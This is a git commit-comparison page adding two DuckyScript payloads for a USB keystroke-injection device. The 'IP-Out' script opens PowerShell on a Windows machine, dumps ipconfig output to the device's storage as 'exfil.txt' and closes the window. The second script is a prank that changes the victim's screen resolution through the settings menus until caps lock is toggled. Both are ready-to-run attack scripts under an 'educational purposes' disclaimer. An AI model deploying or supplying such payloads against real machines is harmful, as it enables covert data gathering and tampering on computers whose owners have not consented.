Compare commits
5 Commits
29ca18d648
...
3760ce34d5
Author | SHA1 | Date |
---|---|---|
Mavis Coffey | 3760ce34d5 | |
Mavis Coffey | cf0c83d37c | |
Mavis Coffey | 8293bf5d4d | |
Mavis Coffey | 6ad0b7836c | |
mavisinator30001 | 8073d4d9cd |
|
@ -0,0 +1,21 @@
|
||||||
|
REM Title: IP-Out
|
||||||
|
REM Author: Mavisinator30001
|
||||||
|
REM Description: Opens a powershell window and prints the current IP of the device to a text file in the BadUSB
|
||||||
|
REM Target: Any Windows System
|
||||||
|
REM DISCLAIMER!!! Neither I, nor Hack5, condone any unethical hacking practices using this payload... FOR EDUCATIONAL PURPOSES ONLY
|
||||||
|
ATTACKMODE HID STORAGE
|
||||||
|
DELAY 500
|
||||||
|
GUI r
|
||||||
|
DELAY 300
|
||||||
|
STRING Powershell
|
||||||
|
ENTER
|
||||||
|
DELAY 1000
|
||||||
|
STRING ipconfig | Out-File -Filepath D:\exfil.txt -Encoding utf8
|
||||||
|
ENTER
|
||||||
|
WAIT_FOR_STORAGE_ACTIVITY
|
||||||
|
WAIT_FOR_STORAGE_INACTIVITY
|
||||||
|
ALT F4
|
||||||
|
ATTACKMODE OFF
|
||||||
|
REM And should the attacker want to make sure the payload was successful:
|
||||||
|
WAIT_FOR_BUTTON_PRESS
|
||||||
|
ATTACKMODE STORAGE
|
|
@ -0,0 +1,59 @@
|
||||||
|
REM TITLE Resolution Prank
|
||||||
|
REM AUTHOR Mavisinator30001
|
||||||
|
REM TARGET Any system running Windows 10/11
|
||||||
|
REM DESCRIPTION Go into Windows settings and change the screen resolution. When finished, toggle caps to change display back
|
||||||
|
LED_G
|
||||||
|
DELAY 500
|
||||||
|
CTRL GUI d
|
||||||
|
DELAY 500
|
||||||
|
GUI i
|
||||||
|
DELAY 2000
|
||||||
|
STRING display
|
||||||
|
ENTER
|
||||||
|
DELAY 2500
|
||||||
|
TAB
|
||||||
|
ENTER
|
||||||
|
DELAY 200
|
||||||
|
REPEAT 8 TAB
|
||||||
|
ENTER
|
||||||
|
VAR $CAPS_STATE = $_CAPSLOCK_ON
|
||||||
|
WHILE ($CAPS_STATE == $_CAPSLOCK_ON)
|
||||||
|
HOLD DOWN
|
||||||
|
DELAY 1000
|
||||||
|
RELEASE DOWN
|
||||||
|
ENTER
|
||||||
|
DELAY 200
|
||||||
|
LEFT
|
||||||
|
DELAY 200
|
||||||
|
ENTER
|
||||||
|
|
||||||
|
REM WHEN FINISHED WITH THE FIRST PART OF THE PAYLOAD DUCK WILL FLASH LED
|
||||||
|
VAR $LIGHT_UP_TIMES = 20
|
||||||
|
WHILE ($LIGHT_UP_TIMES > 0)
|
||||||
|
LED_G
|
||||||
|
DELAY 300
|
||||||
|
LED_OFF
|
||||||
|
DELAY 300
|
||||||
|
LED_R
|
||||||
|
DELAY 300
|
||||||
|
LED_OFF
|
||||||
|
DELAY 300
|
||||||
|
$LIGHT_UP_TIMES = $LIGHT_UP_TIMES - 1
|
||||||
|
END_WHILE
|
||||||
|
WAIT_FOR_CAPS_CHANGE
|
||||||
|
END_WHILE
|
||||||
|
DELAY 300
|
||||||
|
REPEAT 12 TAB
|
||||||
|
ENTER
|
||||||
|
DELAY 200
|
||||||
|
HOLD UP
|
||||||
|
DELAY 1000
|
||||||
|
RELEASE UP
|
||||||
|
ENTER
|
||||||
|
DELAY 200
|
||||||
|
LEFT
|
||||||
|
ENTER
|
||||||
|
DELAY 1000
|
||||||
|
ALT F4
|
||||||
|
DELAY 200
|
||||||
|
CTRL GUI F4
|
Loading…
Reference in New Issue